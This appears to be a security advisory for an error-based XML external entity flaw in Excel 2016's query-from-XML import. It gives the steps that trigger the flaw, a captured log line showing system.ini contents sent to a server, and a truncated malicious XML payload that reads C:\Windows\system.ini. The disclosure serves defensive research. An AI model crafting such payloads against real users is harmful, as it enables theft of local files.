[+] Credits: John Page (aka hyp3rlinx)    
[+] Website:
[+] Source:
[+] ISR: ApparitionSec          


Excel 2016 v1901

Microsoft Excel is a spreadsheet developed by Microsoft for Windows, macOS, Android and iOS.
It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications. 


[Vulnerability Type]
Error Import Based XML External Entity Injection

[Security Issue]
Excel query from file feature is vulnerable to "Error" based XML External Entity attacks, if the user chooses the "Import as
Html page" functionality upon receiving errors importing a specially crafted XML file.

This can result in potential remote data exfiltration, user interaction is required to exploit this vulnerability.

Tested successfuly Windows 10 .NET framework version v4.0.30319.

C:\>dir /b %windir%\Microsoft.NET\Framework\v*

Create a new ".xlsx" file then, go to Data tab and choose 'New Query/From File/From XML'

1) You will get error like: 


Unable to connect

We encountered an error while trying to connect.

The user will then get an option to 'Edit' where they can import the file as an HTML file

Result Local data can be exfiltrated to remote server"

2) Excel will then give you option to 'Edit' and import as 'Html Page' from the drop down menu in Excel

User has choose to import as HTML then XXE attack will succeed:

e.g. - - [05/Mar/2019 15:31:16] "GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FO
/1.1" 200 -

Malicious XML file to load as New Data Query


<?xml version='1.0'?>
<!DOCTYPE root [ 
<!ENTITY % file SYSTEM 'C:\Windows\system.ini'>
<!ENTITY % dtd SYSTEM ''>

# [2019-12-04]  #